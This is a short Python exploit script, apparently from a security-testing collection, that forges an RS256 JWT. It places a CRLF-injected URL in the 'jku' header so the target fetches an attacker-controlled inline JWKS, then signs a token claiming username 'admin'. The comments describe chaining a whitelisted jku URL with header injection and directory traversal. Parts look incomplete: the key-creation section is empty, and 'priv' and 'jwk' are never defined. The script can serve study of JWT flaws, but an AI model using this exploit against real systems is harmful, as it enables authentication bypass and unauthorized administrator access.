Creating JWT with HTTP response Header Injection

# Creating Private Key

### ====================
# Suppose if an Application is checking for this URL in "jku" Header ==>
# And you found a HTTP response Header injection in ==>
# Here "id" parameter is vulnerable and now you can combine this path with the whitelisted "jku" URL to craft the exploit:
# For example: Crafted URL ==>
# Note: This exploit would not be possible without directory traversal attack.
### ====================
# Paste your Crafted URL like explained above and Content-Length header will be set to the correct value and inline JWKS
payload = "<Crafted URL>%0d%0aContent-Length:%20"+ str(len(jwk)) + "%0d%0a%0d%0a" + str(urllib.parse.quote(jwk))
# Header section of JWT
header = {"typ":"JWT","alg":"RS256","jku":""}
# Paste your Payload section of JWT
body = {"username":"admin"}
# Adding payload in "jku" parameter
header["jku"] = payload
# Encoding Header and Payload section of JWT
enc_header = base64.urlsafe_b64encode(bytes(json.dumps(header), encoding="UTF-8")).decode('UTF-8').rstrip("=")
enc_body = base64.urlsafe_b64encode(bytes(json.dumps(body), encoding="UTF-8")).decode('UTF-8').rstrip("=")
# Concatenation of encoded Header and Payload
token = (enc_header + "." + enc_body)
# Creating Signature
sig = priv.sign(bytes(token, encoding="UTF-8"), algorithm=hashes.SHA256(), padding=padding.PKCS1v15())
# Printing final JWT
print(token + "." + base64.urlsafe_b64encode(sig).decode("UTF-8").rstrip("="))
